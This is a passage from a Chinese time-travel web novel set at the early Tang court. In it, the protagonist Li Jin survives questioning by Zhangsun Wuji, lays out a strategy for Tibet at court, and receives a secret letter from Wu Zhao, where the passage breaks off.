然而,手中这份沉甸甸的“校书郎”告身,和皇帝那“若有建言,可直接禀于朕或皇后”的隐晦许可,毕竟是一道护身符,也是一把钥匙。他终于可以更深入地探查东宫,寻找太子病情的真相,并为自己和武曌的将来,谋划更坚实的立足之地。
“校书郎……” 他低声念着这个新身份,嘴角泛起一丝淡淡的、冷峻的弧度。这盘棋,他总算从棋盘边缘,又向中心挪动了一格。接下来的每一步,需更加如履薄冰,也需更加……落子无悔。
第34章 长孙无忌谋
太子司经局校书郎,从九品下,官秩低微,在冠盖云集的长安城中,不过沧海一粟。然而,当这个官职与“东宫”、“太子讲学”、“献牛痘法蒙赏”等事联系在一起,尤其当授予的对象是数月前还寂寂无名、如今却屡次进入皇帝视野的李瑾时,其意味便大不相同了。
任命诏书颁下不过三日,崇仁坊那所僻静小院的门槛,似乎都因此抬高了几分。各式拜帖、请柬悄然多了起来,有些来自同宗远支的“亲戚”,有些来自杜铭、许元瑜这等旧识的“道贺”,更有一些全然陌生的名讳,背后隐约可见不同衙署、不同派系的影子。李瑾一律以“新蒙恩典,惶恐无措,需闭门静思,以备东宫之任”为由,谦恭而坚决地婉拒了所有邀约,只让李福收下拜帖,备了不逾矩也不失礼的回礼。他知道,此刻自己如同站在聚光灯下,任何不慎的交际,都可能被解读出无数含义,招来不必要的麻烦。他需要时间,适应这个新身份,更需要观察,哪些是善意的橄榄枝,哪些是裹着蜜糖的试探,哪些……是暗藏机锋的冷箭。
他正式前往东宫司经局点卯的日子,选在一个雪后初霁的清晨。司经局位于东宫崇文馆西侧,是一处相对独立、藏书丰富的院落。掌局的是太子洗马(从五品下)张玄素,一位年近五旬、以博学严谨著称的老臣,与于志宁颇有交情。张玄素对李瑾的到来似乎早有准备,态度既不热络也不冷淡,公事公办地为他办理了入籍手续,指定了办公的廨署(一间狭小但整洁的偏房),分配了需校雠整理的经史书目,并提点了几句司经局的规矩:安静、勤勉、严谨,不得妄议朝政,不得与外官私相往来,尤其……不得干预东宫属官其他事务。
李瑾一一应下,表现得如同一个最本分、最谦逊的新进小吏。他白日便在廨署中,对着堆积如山的经卷,一丝不苟地校勘文字、记录异同,偶尔向局中同僚(多是些年长的文吏)请教疑难,态度恭谨。他清楚,自己这个“校书郎”得来特殊,局中上下不知多少双眼睛在暗中观察,任何一丝骄矜或逾矩,都可能成为话柄。他必须先用踏实勤勉的姿态,在这新的环境中站稳脚跟。
然而,他真正的注意力,从未离开过太子的病情和东宫的氛围。他借着“整理需呈送太子病中阅览的经史摘要”之名,向负责传递文书的东宫内侍打听(以不惹疑的方式)太子近况。得到的信息零碎而沉重:太子李忠依旧低热缠绵,脓疱时好时坏,咳喘稍缓但仍未根除,人瘦得脱了形,大部分时间昏睡,醒时也精神不济。太医署轮班守候,王皇后几乎寸步不离,皇帝每日必来探视,但停留时间越来越短,面色也越来越沉。东宫上下,依旧笼罩在一片驱不散的阴霾中。关于太子所患究竟是否为“痘疮”的争论,在太医署内部似乎也渐渐平息——不是有了结论,而是一种心照不宣的沉默,或许是因为无论是什么,都同样凶险难治。
刘神威那边,牛痘的准备工作在极度保密下进行。他已秘密培训了三名太医署心腹,并开始在东宫外围,筛选第一批“自愿”接种的低等内侍和宫人。此事由皇帝直接授意,于志宁、张玄素等东宫高层似乎知晓一二,但皆默契地不闻不问。李瑾偶尔通过刘神威递出的只言片语了解进展,自己并不直接参与,避嫌的同时,也保持着关注。
他也没有忘记追查太子病源。通过王掌柜的市井网络,对“保和堂”及萧氏外戚的监视一直在继续,但收获甚微。陈宫人的侄子自那日去了牲畜市后,再无异动。萧淑妃那边,除了偶尔向皇帝表达对太子的“关切”、对皇后的“慰问”,并“无意间”提及“太子年幼体弱,此番大病,恐伤根本,陛下当早做长远考虑”之类意味深长的话外,并无明显动作。但这种表面的平静,反而让李瑾觉得,更像是在酝酿更大的风暴。
就在李瑾以为,自己可以暂且在这司经局的故纸堆中,一边履行新职,一边暗中观察,徐徐图之时,一场来自帝国权力顶层的、意料之外却又在情理之中的“试探”,毫无征兆地降临了。
这日午后,李瑾正在廨署中核对一卷《汉书》的注疏,一名东宫内侍匆匆而来,态度客气却带着不容置疑的意味:“李校书,太子左庶子于公有请,请即刻前往崇文馆正厅。”
于志宁突然相召?李瑾心中微凛,放下笔,整理了一下青色官袍(从九品下服青),跟着内侍前往。崇文馆正厅是于志宁处理东宫文事、会见属官之地。当李瑾踏入厅中时,却发现气氛与他预想的有所不同。
厅内除了端坐主位、面色沉肃的于志宁,竟还有一人。此人年约五旬,头戴进贤冠,身着紫色圆领襕袍,腰束金玉带,面庞方正,目光沉静而深邃,不怒自威,随意地坐在于志宁下首,却仿佛是整个厅堂的中心。正是当朝司徒、同中书门下三品、赵国公,太宗皇帝遗命的顾命大臣之首——长孙无忌!
李瑾心头剧震,连忙趋步上前,依礼下拜:“下官太子司经局校书郎李瑾,拜见司徒,拜见于公。” 他声音平稳,但心中已是波澜骤起。长孙无忌!这位权倾朝野、连皇帝都需礼让三分的国舅兼元老重臣,为何会出现在东宫?又为何特意召见自己这个微不足道的校书郎?
“嗯,起来吧。” 长孙无忌的声音不高,却带着久居上位者特有的醇厚与威压,他目光平静地落在李瑾身上,如同打量一件新奇的器物。
“谢司徒。” 李瑾起身,垂手侍立,眼观鼻,鼻观心。
于志宁开口道:“李校书,司徒今日来东宫巡视,闻你新近入职,又曾在太子身边讲学,故召你前来一见。不必拘束,司徒有话相询,你据实回答便是。”
“是,下官遵命。” 李瑾恭声应道,心中警惕提到最高。巡视东宫?长孙无忌身为外朝首辅,巡视东宫虽有先例,但并非日常。特意召见自己,绝非偶然。
长孙无忌端起手边的茶盏,轻轻撇了撇浮沫,并未饮用,缓缓开口道:“李校书,老夫听闻,你入东宫前,以诗才、杂学见称于士林,更曾进献香露、调理之方于中宫,近日又因献‘牛痘’之策,得蒙陛下擢升。年纪轻轻,便有此等际遇,实属难得。”
来了!直入主题,且将他的“事迹”一一列举,显然早已调查清楚。李瑾不敢怠慢,连忙躬身:“司徒谬赞。下官才疏学浅,所献皆是小道,侥幸得陛下、皇后殿下不弃,实是惶恐。至于‘牛痘’之说,更是海外荒谈,幸赖陛下圣明,刘副署令等尽心验证,下官实不敢居功。”
“哦?不敢居功?” 长孙无忌放下茶盏,目光似乎锐利了一分,“老夫却听说,此策由你首倡,查访验证,你也参与甚深。陛下甚至因你之言,特旨擢拔。这‘不敢居功’四字,未免过谦了。”
这话听起来像是褒奖,实则暗藏机锋,既点明了他“献策”的核心作用,也暗示了他因此“骤得升迁”,容易引人侧目。李瑾后背微凉,愈发谨慎:“司徒明鉴,下官确是因翻阅杂书,偶见异闻,心忧太子殿下及宫中疫情,故冒昧进言。一切查访验证,皆由刘副署令主理,陛下圣裁,下官不过从旁协助,记录所见。至于擢升,实乃陛下天恩浩荡,下官唯有兢兢业业,以报君恩,断不敢有丝毫骄矜之心。”
他将功劳推给刘神威和皇帝,再次强调自己的“从属”和“侥幸”身份。
长孙无忌不置可否,话锋一转:“你既通杂学,又常在太子身边讲学。以你之见,太子殿下此番重病,根源何在?可是东宫侍奉不周,还是……另有隐情?”
这个问题,比之前更加凶险!直接询问太子病源,涉及东宫内部管理,甚至可能牵涉阴谋!李瑾心头一紧,知道绝不能涉及任何具体人事,更不能流露出对萧淑妃一系的怀疑。
“回司徒,下官于医道实是外行,不敢妄断殿下病源。然以下官愚见,时气乖戾,疫病流行,乃天地常理。殿下仁孝聪敏,然自幼生长深宫,或较常人更需精心调护。此次染恙,太医署诸位国手已竭尽全力,皇后殿下更是亲奉汤药,日夜不休。下官深信,在陛下、皇后殿下慈爱,及太医署精心诊治下,殿下定能早日康复。至于东宫侍奉,于公及诸位同僚皆是勤勉忠直之士,下官新进,未闻有何不妥之处。” 他将原因归于“时气”和“体质”,肯定太医和皇后的努力,并对于志宁领导下的东宫属官给予正面评价,滴水不漏。
长孙无忌静静地听着,脸上没有任何表情,让人猜不透他心中所想。于志宁在一旁,眼观鼻,鼻观心,仿佛入定。
“嗯,你能作如此想,可见是个明理知事的。” 长孙无忌淡淡道,似乎接受了这个答案,但紧接着,抛出了第三个,也是最核心的问题,“太子乃国本,安危关乎社稷。陛下春秋正盛,然太子此番大病,势必损耗元气。老夫观你讲学内容,多涉经世济用、开拓眼界之道,可见是期望太子成为有为之君。然,若太子……需长期将养,甚至……未来精力不济,难以负荷繁重国事,你以为,为臣子者,当如何自处?又如何……为国朝长远计?”
轰!李瑾脑中仿佛有惊雷炸响!这个问题,已不仅仅是试探,几乎是在拷问他的政治立场和未来抉择!太子可能“难以负荷繁重国事”,这是在暗示太子可能因这次大病留下后遗症,甚至……暗示储位可能动摇!问他“为臣子者当如何自处”,是在试探他是否会对太子(及背后的王皇后)保持忠诚;问他“为国朝长远计”,则是在逼他表态,是否认同“国本稳固”高于对具体个人的效忠,甚至……是否考虑其他可能性?
这是一个足以将人吞噬的陷阱!回答稍有不慎,不是被斥为“不忠”,就是被视作“投机”,或者被怀疑“心怀叵测”。
冷汗瞬间湿透了李瑾的内衫。他强迫自己冷静,大脑以前所未有的速度飞转。长孙无忌为何要问自己这个?是替皇帝试探?还是他本人对太子现状乃至未来有了别的想法?史书记载,长孙无忌是支持高宗李治(及王皇后所出嫡子)的,但立场会随着形势变化。他是在评估自己这个新晋的、有些“奇能”的东宫属官,是否可靠?是否值得拉拢或……需要防范?
电光石火间,李瑾已有了决断。他不能直接回答“如何自处”和“长远计”,那太具体,太危险。他必须将答案拔高到“君臣大义”、“为臣本分”的层面,并巧妙地结合太子讲学的“成果”来回应。
他深吸一口气,再次深深一揖,声音带着适度的沉重与恳切:“司徒此问,直指为臣根本,下官愚钝,本不敢置喙。然司徒垂询,下官斗胆,以《春秋》大义、《礼经》明训为答。为臣子者,首在忠君。忠君者,非唯奉命行事,更在于‘导君以正’、‘致君尧舜’。下官蒙陛下恩典,为太子讲学,所授杂学趣闻,皆在开阔殿下胸襟,明晓民生疾苦、治国之艰,冀望殿下能体察陛下勤政爱民之心,能仁厚、能明辨、能坚韧。此便是下官之‘自处’——尽己所能,以学识启迪储君,使其向善、向明、向强。”
他先表明自己的“忠”体现在“导君以正”,将讲学拔高到培养储君品德能力的高度,回避了具体人事站队。
“至于为国朝长远计,” 李瑾继续道,语气愈发诚恳,“下官以为,国朝之基,在君明臣贤,在民心安定,在法度昭彰。太子殿下乃陛下嫡长,名分早定,天下归心。如今殿下染恙,正是臣子戮力同心、共度时艰之际。下官深信,陛下圣明烛照,皇后殿下慈爱深重,太医署诸公尽心竭力,殿下必能转危为安。纵使……纵使需长期调养,以殿下之聪慧仁孝,假以时日,亦必能康复如初,承继大统。为臣子者,此刻当坚定信念,勤勉王事,安抚人心,使朝野内外,皆知东宫稳如泰山,国本固若金汤。此,方是为国朝长远计之根本。若因一时之疾,便生疑虑动摇,非忠臣所为,亦有负陛下厚恩、太子信重。”
他坚定地肯定了太子的“名分”和“必能康复”的信心(尽管他自己也未必全信),强调“稳定人心”、“巩固国本”是当前第一要务,并暗示“疑虑动摇”非忠臣所为。这既表达了对现有储君(李忠)的支持,又符合“忠君”大义,还将可能的“其他想法”斥为不忠,可谓守住了底线,又未留下把柄。
说完,李瑾保持着躬身的姿态,静候发落。厅内一片寂静,只有炭火偶尔发出的噼啪声。于志宁微微抬眼,看了李瑾一眼,又迅速垂下。长孙无忌则久久不语,只是用那双深不见底的眼睛,注视着李瑾,仿佛要将他从里到外看个通透。
时间一点点过去,压力几乎凝成实质。李瑾能听到自己心脏在胸腔中沉重地跳动。
终于,长孙无忌缓缓开口,声音听不出任何情绪:“《春秋》大义,忠君为本。你能作此想,甚好。太子讲学,启迪储君,亦是正途。望你日后,能言行如一,莫负陛下擢拔之恩,亦莫负……太子之期许。”
“下官谨记司徒教诲,必当鞠躬尽瘁,以报君恩!” 李瑾郑重应道,心中稍稍一松。过关了?至少暂时过关了。
“嗯。” 长孙无忌点了点头,似乎失去了继续交谈的兴趣,对于志宁道,“于公,东宫文事,有你把关,老夫是放心的。太子病中,诸事繁杂,你多费心。陛下那里,老夫自会分说。”
“有劳司徒。” 于志宁起身拱手。
长孙无忌也站起身,并未再看李瑾,在于志宁陪同下,向厅外走去。走到门口,他脚步微微一顿,并未回头,只是淡淡地留下一句:“李校书,年轻是好事,然宫中、朝中,水深且浊。谨言慎行,好自为之。”
声音平静,却仿佛带着千钧之重,砸在李瑾心头。
“下官……谨记。” 李瑾对着长孙无忌离去的背影,再次深深一揖,直到脚步声远去,方才直起身,发现后背衣衫,已然湿透。
于志宁送走长孙无忌,返回厅中,看了李瑾一眼,目光复杂,最终只是叹了口气,摆摆手:“你也回去当值吧。今日司徒之言,出他之口,入你之耳,勿要外传。”
“下官明白,谢于公提点。” 李瑾施礼告退。
走出崇文馆,冬日清冷的空气吸入肺中,却带不走心头的寒意与沉重。长孙无忌的这次“召见”,绝非心血来潮。这位帝国巨擘,显然已经注意到了自己这个突然冒出来的“变数”。今日三问,层层递进,直指核心,既是试探自己的才学、心性、忠诚,也是在评估自己这个“新因素”可能对东宫、对朝局产生的影响。最后那句“谨言慎行,好自为之”,既是警告,也是一种……带有保留的认可?抑或是划下的界限?
无论如何,自己已经正式进入了长孙无忌的视野。是福是祸,犹未可知。但可以肯定的是,从今往后,他的一举一动,将受到这位权倾朝野的顾命大臣更密切的关注。任何行差踏错,都可能带来灭顶之灾。
但同时,这次应对,也为自己赢得了一丝喘息之机,或许还在长孙无忌心中留下了一个“知礼、守分、有才但不张扬、对太子(现有秩序)忠诚”的印象。这印象好坏参半,但至少不是负面的。
回到司经局廨署,李瑾已无心校书。他铺开纸笔,却非为公事。他必须立刻将今日之事,详详细细记录下来,分析其中每一句话的深意,并……告知武曌。长孙无忌的态度,是朝堂风向最重要的指标之一。武曌远在感业寺,却能通过宫中旧人感知朝局微妙变化,她的分析,或许能拨开迷雾。
同时,他也需要重新评估自己的处境和策略。长孙无忌的介入,意味着东宫这场危机,已经不仅仅是皇帝、皇后、萧淑妃之间的后宫争斗,更上升到了外朝权力博弈的层面。自己这个小小校书郎,已被迫卷入了帝国最高层的政治漩涡边缘。
“水深且浊……” 李瑾默念着长孙无忌的警告,望向窗外宫墙上方那片被切割得四四方方的天空。前路愈发艰险,但也意味着,舞台更大了。他必须更加小心,却也需更加果决。牛痘之事要稳步推进,太子病源要继续暗中查探,与武曌的同盟要更加紧密,自身的实力(工坊、钱财、人脉)也要加速积累。
他提起笔,开始给武曌写信,笔尖沉稳,落字如刀。这盘棋,对手已不止萧淑妃,更有长孙无忌这般执棋国手。但他李瑾,亦非任人摆布的棋子。鹿死谁手,犹未可知。
第35章 三问显真知
腊月廿三,小年。长安城银装素裹,千家万户祭灶祈福的烟火气,却丝毫驱不散皇城大内,尤其是东宫上空的阴霾。太子李忠的病,如同这岁末严寒,久久不散,将所有人的心都冻得发僵。太医署的会诊日日进行,药方换了又换,太子时昏时醒,脓疮时好时坏,咳喘成了顽症,整个人瘦脱了形,昔日那双清澈中带着早熟的眼睛,如今也常常失了神采。皇帝李治的眉头,再未真正舒展过。王皇后衣不解带,容颜憔悴,唯有在皇帝面前强撑着那摇摇欲坠的端庄。萧淑妃的“关切”依旧适时,却也仅限于“关切”了,长孙无忌那日东宫一行后,似乎有一股无形的力量,将后宫暗涌暂时压了下去,至少在明面上,无人再敢轻易议论太子病情与“国本”。
李瑾的日子,在表面平静下暗流汹涌。他每日准时前往司经局点卯,埋首于浩如烟海的典籍之中,校勘、整理、摘要,与同僚谦和相处,对上司恭敬有加,将一个本分、勤勉、低调的新进校书郎扮演得无可挑剔。长孙无忌那日的“召见”与警告,如同悬在头顶的利剑,让他时刻警醒,言行举止更加如履薄冰。他甚至减少了与刘神威的私下接触,关于牛痘的进展,只通过极隐秘的单向渠道获取只言片语——东宫第一批二十余名低等内侍宫人,已顺利完成牛痘接种,过程顺利,反应轻微,目前正处于观察期,一切迹象良好。这个消息让他心中稍安,至少,预防的屏障正在悄然建立。
他与感业寺中武曌的密信往来,也变得更加隐秘和富有策略性。除了互通消息,李瑾开始有意识地将一些经过“翻译”的现代政治、外交、乃至基础科学理念,以“读史心得”、“海外异闻推演”或“个人愚见”的形式传递给武曌,既为未来的“献策”铺垫,也在潜移默化中塑造和深化这位未来女帝的思维框架。武曌的回应,则显示出她惊人的领悟力与务实精神,往往能结合宫廷、寺院的实际,提出更具操作性的见解,甚至反向启发李瑾。这种跨越空间的思想砥砺,让他们的同盟在危机中愈发牢固。
然而,真正的考验,总在意想不到的时刻降临。
腊月廿五,常朝。因近年关,又兼太子病重,朝会气氛肃穆沉重。李瑾官阶低微,本无资格立于正殿参与朝议,只在殿外廊下随一众低品官员、待制官等候,以备随时可能的传召咨询。朔风凛冽,吹得人脸颊生疼,但无人敢有丝毫怨言懈怠。
朝会进行到一半,殿内忽然传来一阵略显激烈的议论声,似乎是有边关急报。李瑾凝神细听,隐约听到“吐蕃”、“犯边”、“劫掠”、“求赏”等字眼,间或夹杂着“战”、“和”、“抚”、“剿”的争论。近年来,吐蕃在松赞干布去世后,其相禄东赞掌权,对大唐边境屡有侵扰,时叛时附,成为朝廷一大边患。
果然,不多时,一名内侍匆匆出殿,高声道:“陛下有旨,传太子司经局校书郎李瑾,入殿觐见!”
殿外低品官员中顿时起了一阵细微的骚动,无数道或诧异、或好奇、或探究、或嫉妒的目光投向李瑾。李瑾心中也是一凛,但面上不动声色,整了整青色官袍,趋步随内侍进入庄严恢宏的太极殿。
殿内,文武百官分列左右,气氛凝重。御座之上,李治面色沉郁,手中拿着一份奏报。御阶之下,长孙无忌、褚遂良、于志宁、李勣(徐世勣,此时应已赐姓李)等重臣赫然在列。萧淑妃的父亲、时任尚书左仆射的萧瑀也在其中,面色不豫。
“臣李瑾,叩见陛下。” 李瑾大礼参拜,心跳不由加快。在这帝国最高议政殿堂,面对满朝朱紫,他知道,这又是一次突如其来、避无可避的“考试”。
“平身。” 李治的声音带着疲惫,“李瑾,朕闻你平日为太子讲学,多涉地理、物产、邦交之事。今有吐蕃使臣奏报,其境内有部族不服王化,侵扰我洮、叠等州边地,劫掠人畜。其赞普(吐蕃王)上表,言已申饬部众,然其地僻远,控驭不易,请朕加恩赏赐,以安其心,并请于赤岭(今日月山)互市,增其茶帛。朝中于战、和、抚、剿,颇有争议。你既常讲这些,朕想听听,你有何见解?”
果然是关于吐蕃!李瑾心念电转。皇帝此举,看似临时起意,考较他这个“杂学”校书郎,实则可能有多重深意:一来,太子病重,皇帝或许想看看这个被寄予些许期望的年轻属官,是否真有几分“实学”,而非仅靠“奇技”;二来,朝中争议不下,皇帝或许想听听“局外人”的不同声音,打破僵局;三来,也可能有长孙无忌等重臣的默许甚至推动,想进一步在正式场合“称量”他的斤两。
他迅速整理思路。关于唐蕃关系,他有着超越时代的历史视角。他知道,当前时期(高宗初年)正是吐蕃国力上升、与唐朝激烈争夺西域和青海的关键时期。简单的“战”或“和”都非上策。需要的是战略性的制衡与消耗。他不能直接说出历史走向,但可以将一些现代国际关系、地缘政治、经济博弈的理念,用符合唐代认知的语言包装阐述。
“陛下垂询,臣惶恐。臣于边事、邦交,实是纸上谈兵,不敢妄言军国大计。然既蒙陛下垂问,臣谨以平日读书所得、及为太子殿下讲学所思,略陈陋见,权作引玉之砖,供陛下与诸位相公参详斧正。” 李瑾先摆出极低姿态,然后缓缓道,“臣以为,吐蕃之事,可分三层面看。其一,辨其虚实;其二,筹其利害;其三,定其方略。”
“哦?何为辨其虚实?” 李治似乎有了点兴趣。
“回陛下,吐蕃赞普上表申饬部众、请赏、求市,其言可谓恭顺。然边报所言,侵扰劫掠,其行可谓猖獗。此言行不一,便是虚实之关键。” 李瑾侃侃而谈,“其虚者,在赞普或无力完全约束骄兵悍将、边远部族,此乃吐蕃内政不修、王权未固之象。其实者,在吐蕃觊觎我边境财货、试探我朝反应、并借互市之名,行壮大其实力之实。故,不可因其表文恭顺而全然信之,亦不可因其部族侵扰而贸然兴大兵征讨。当细察其国内政局、各部矛盾、乃至其与吐谷浑、党项等周边势力之关系,辨明何处是其软肋,何处是其必争。”
这番话,跳出了简单的“忠奸”判断,从吐蕃内部政治结构和地缘博弈角度分析,思路颇为新颖。长孙无忌捋须不语,李勣(军事重臣)则微微颔首。
“那筹其利害又如何?” 这次发问的是兵部尚书任雅相。
“利害者,在于我朝应对之得失。” 李瑾从容道,“若骤兴大军讨伐,吐蕃地处高原,天寒路远,补给艰难,我军劳师远征,胜负难料,纵使得胜,亦难久驻,空耗国力,此为一害。若一味怀柔,厚加赏赐,允其互市,则恐使其以为我朝软弱,贪欲愈炽,侵扰更频,且资其茶帛铁器,反壮其力,养成大患,此为二害。”
“如此说来,战和皆有害,莫非束手无策?” 萧瑀冷哼一声,出言质问。他是倾向于怀柔安抚的一派,对李瑾分析“厚赏”之害显然不悦。
“萧相恕罪,下官非此意。” 李瑾不卑不亢,“下官以为,当取‘战’与‘和’之长,避其短,行‘以战促和,以和备战,以商疲敌,以间分势’之策。”
“以战促和,以和备战,以商疲敌,以间分势?” 李治重复了一遍,眼中光芒微动,“详细说来。”
“是。” 李瑾整理思绪,将现代博弈论、经济战、情报战的一些核心理念,用古代语言阐释,“所谓‘以战促和’,并非大兴兵戈,而是精选骁将,于其侵扰最甚之处,予以坚决、迅猛、有力之反击,歼其一部,俘其首领,显我兵威,使其知侵掠之代价高昂。然此战需速决,目标需明确,不为拓土,只为立威。威立,则和可期。”
“所谓‘以和备战’,即在与吐蕃赞普交涉、赏赐、互市之时,始终保持警惕,边境军镇不可松懈,并借互市、使臣往来之机,深入了解其山川地理、兵力部署、部族虚实,为我所用。和议条款,需暗藏制约,如限定互市地点、物品种类、数量,尤其铁器、良马、兵甲图谱等,绝不可予。”
“所谓‘以商疲敌’,” 李瑾顿了顿,这是经济战思想的体现,“吐蕃所求互市,无非茶、帛、瓷器等物。我可应允,然需以我为主,操控市易。例如,可提高茶叶、丝绸等非必需奢侈品的输出,换取其牛羊、皮毛、药材。使其贵族享乐之物依赖我朝,渐损其俭朴尚武之风。同时,严格控制盐、铁等战略物资流出。长此以往,其国内财富将不断流入我朝,而我朝得其牛羊皮毛,可补边用,此消彼长,其国力自疲。”
殿中不少大臣,尤其是户部、工部的官员,闻言露出思索之色。以商业手段削弱对手,这思路在当时颇为超前。
“那‘以间分势’又作何解?” 李勣饶有兴趣地问道,他是沙场老将,对情报和分化手段自然敏感。
“吐蕃并非铁板一块,赞普、大相、各部落首领之间,必有矛盾。” 李瑾道,“我可遣精干细作,携金帛,秘密交结其内部对赞普或禄东赞不满的贵族、部族,或支持吐谷浑等与吐蕃有仇的势力,暗中挑拨,使其内斗不休,无力大举犯边。此乃‘伐交’、‘伐谋’之上策,成本最低,而收效或最巨。”
他将孙子的“上兵伐谋,其次伐交,其次伐兵,其下攻城”思想,结合具体情境发挥,提出了一个包含有限军事打击、外交博弈、经济控制、情报渗透的组合策略,层次清晰,思路开阔,既有战略高度,又有具体抓手,远超寻常朝臣要么主战、要么主和的简单二元争论。
殿内一时寂静。许多大臣都在消化李瑾这番话。长孙无忌深深看了李瑾一眼,目光深邃。萧瑀脸色有些难看,但一时也找不出反驳的理由。李勣则抚掌道:“好一个‘以战促和,以和备战,以商疲敌,以间分势’!李校书虽未历战阵,然此论深合兵法虚实奇正之要,更兼长远制衡之思,颇有见地!”
皇帝李治的脸上,也终于露出了一丝极淡的、难以察觉的赞许。他沉吟片刻,问道:“李瑾,依你之见,眼下对吐蕃使臣,当如何回复?”
这是考验他将理论转化为具体操作的能力。李瑾早有腹稿,恭声道:“回陛下,臣以为,可示之以威,怀之以德,诱之以利,束之以法。可严词斥责其部族侵边之罪,要求其赞普限期交出肇事首领、赔偿损失,此乃示威立信。随即,可允其赤岭互市之请,然需定下详细章程,限定时间、地点、物品种类及数量,由我朝派员监管,并需其保证边境安宁,此乃怀德诱利束法。同时,密令陇右、河西诸军,加强戒备,对敢于再犯者,迎头痛击。并遣能吏,暗中寻访与吐蕃不睦之势力,相机行事。”
“嗯……” 李治微微颔首,看向长孙无忌、褚遂良等人,“诸卿以为李校书之言如何?”
长孙无忌出列,缓声道:“陛下,李校书所言,虽多出臆测,然条分缕析,颇多可采之处。尤其‘辨其虚实’、‘筹其利害’之论,切中肯綮。其所陈方略,兼顾兵、政、商、谍,思虑较为周全。老臣以为,可命有司,参照此议,详加斟酌,拟定具体条陈,再行决断。”
褚遂良也附和道:“长孙司徒所言甚是。李校书年轻,然见识不凡,所献之策,可供庙堂参详。”
连两位最重量级的顾命大臣都基本肯定了,其他人纵有微词,此时也不便多言。萧瑀嘴唇动了动,最终也只是沉默。
“好。” 李治似乎下了决心,“此事,就交由中书、门下、兵部、户部,会同鸿胪寺,参照今日廷议,尤其是李瑾所陈,尽快拟定应对吐蕃使臣及处置边事的详细方略,报朕御览。”
“臣等遵旨。” 相关大臣出列领命。
“李瑾。” 李治再次看向他。
“臣在。”
“你今日所言,虽非尽善,然能跳出窠臼,统筹考量,朕心甚慰。你既在司经局,又兼讲学,日后于经史之余,对这些邦交、边事、经济之道,亦可多加留心,若有心得,可具折密奏。退下吧。” 李治的语气,比之前温和了许多,那句“朕心甚慰”和“可具折密奏”的许可,更是意义非凡。
“臣谢陛下!必当尽心竭力,以报天恩!” 李瑾强压心中激荡,恭敬行礼,退出大殿。
走出太极殿,寒风依旧,但李瑾却觉得胸膛中有一股热流涌动。他知道,自己今日在朝堂上的这番“三问显真知”,不仅成功应对了皇帝的考较,更在满朝文武面前,初步树立了一个“有实学、有见地、可参谋”的形象。尤其是获得了长孙无忌、李勣这等重臣的认可(或至少是不反对),以及皇帝“可具折密奏”的特许,这意味着他正式获得了“献策”的渠道和一定程度的信任。这比他那个小小的校书郎官职,重要得多。
当然,他也清楚,今日之言,必然也会招来更多的关注,乃至嫉恨。萧瑀那不善的目光,犹在眼前。但既然选择了这条路,便无退路可言。
回到司经局,同僚们的态度似乎也有了微妙的变化,多了几分客气,甚至隐约的敬畏。李瑾依旧谦逊如常,仿佛朝堂上那番侃侃而谈的不是自己。
傍晚散值归家,李福满脸喜色地迎上来,显然已听说了朝堂之事。李瑾却无多少喜色,将自己关入书房。
他需要立刻将今日之事告知武曌。朝堂风向的细微变化,皇帝的态度,重臣的反应,都是至关重要的信息。同时,他也要提醒武曌,萧瑀(萧淑妃之父)今日表现出的不悦,或许意味着萧淑妃一系,并不会因为长孙无忌的压制而彻底偃旗息鼓,可能会从其他方面施加压力。
更重要的是,经过今日朝堂一“试”,他李瑾这个名字,算是真正进入了帝国高级官僚体系的视野。接下来,每一步都需更加谨慎,但步伐,或许也可以迈得更大一些了。牛痘的推广,太子病源的追查,乃至“明玻”工坊的进一步发展,或许都可以提上更紧迫的日程。
他铺开纸笔,窗外暮色四合,长安城的灯火次第亮起。这帝国的中枢,看似因太子的病情而笼罩在愁云中,但权力的暗流,利益的博弈,从未有一刻停息。而他,这个来自千年后的灵魂,凭借超越时代的见识与步步为营的算计,终于在这波谲云诡的朝堂之上,发出了属于自己的、第一声清晰而独特的鸣响。
三问显真知,一朝动朝堂。前路依旧险峻,但手中的筹码,似乎又多了一分。
第36章 媚娘传密讯
朝堂应对吐蕃策论的余波,在李瑾刻意低调的行事下,渐渐归于沉寂。腊月廿八,年关迫近,宫中年节氛围在压抑中勉强铺陈,内侍省和光禄寺按制准备着元日大朝贺与宫宴,然东宫持续传来的低沉气息,仍如阴云笼罩在所有人心头。太子李忠的病,缠绵至此时,已让最初的焦灼、惊惧,逐渐化为一种近乎麻木的沉重与无力。太医署的会诊仍在继续,但议论声小了许多,方子也趋于保守,多以“扶正固本、清余热、化痰瘀”为主,似乎众人心中都已隐约接受了“长期将养”的现实。皇帝李治临朝时眉宇间的郁色挥之不去,偶尔目光扫过东宫方向,深沉难测。
李瑾的日子,依旧在司经局的故纸堆与太子寝殿外围的关切中交替。他谨记长孙无忌的警告,谨言慎行,除了必要的公务与礼仪性的问安,不与其他东宫属官深交,更不打听任何敏感消息。他将更多精力投入对牛痘后续进展的暗中关注,以及通过王掌柜的渠道,继续不动声色地监视萧氏外戚与“保和堂”的动向。然而,自陈宫人侄子那次蹊跷的牲畜市之行后,这两条线都异常平静,仿佛那日的踪迹只是一场错觉。越是平静,李瑾心头那根弦绷得越紧。
岁末的雪,断断续续,将长安城装扮得一片素缟。这日午后,李瑾在司经局廨署,正对照着一卷《西域图记》,为太子(虽然不知何时能再听讲)草拟一份关于“丝绸之路沿线物产与邦国”的简明摘要,心思却不由自主地飘向感业寺。已有数日未收到武曌的密信,这不太寻常。是信道受阻?还是她那边发现了什么,正在谨慎核实?
就在他心神不宁之际,李福悄然来到廨署门外,对他使了个眼色。李瑾会意,放下笔,借口如厕,随李福来到僻静处。李福从怀中取出一卷看似寻常的《药师经》,低声道:“公子,寺里刚送来的,是慧明师太亲自交到后门杂役手里的,说是有位居士供奉,指定要旧的抄本。”
李瑾心头一动,接过经卷。慧明师太是感业寺知客,也是他们与武曌通信的枢纽之一,但武曌通常不会直接动用她,除非是极为紧要或常规信道不便时。他不动声色地回到廨署,掩上门,迅速取出译码药水。
药水涂抹在特定页码,熟悉的清秀字迹逐渐显现,但比以往任何一次都要密集,行文间透着一股罕见的凝重与急迫。信的开头没有寒暄,直入核心:
“瑾君钧鉴:久未通问,实因近日暗查一事,颇费周章,今稍有所得,不敢延误,特此密告。
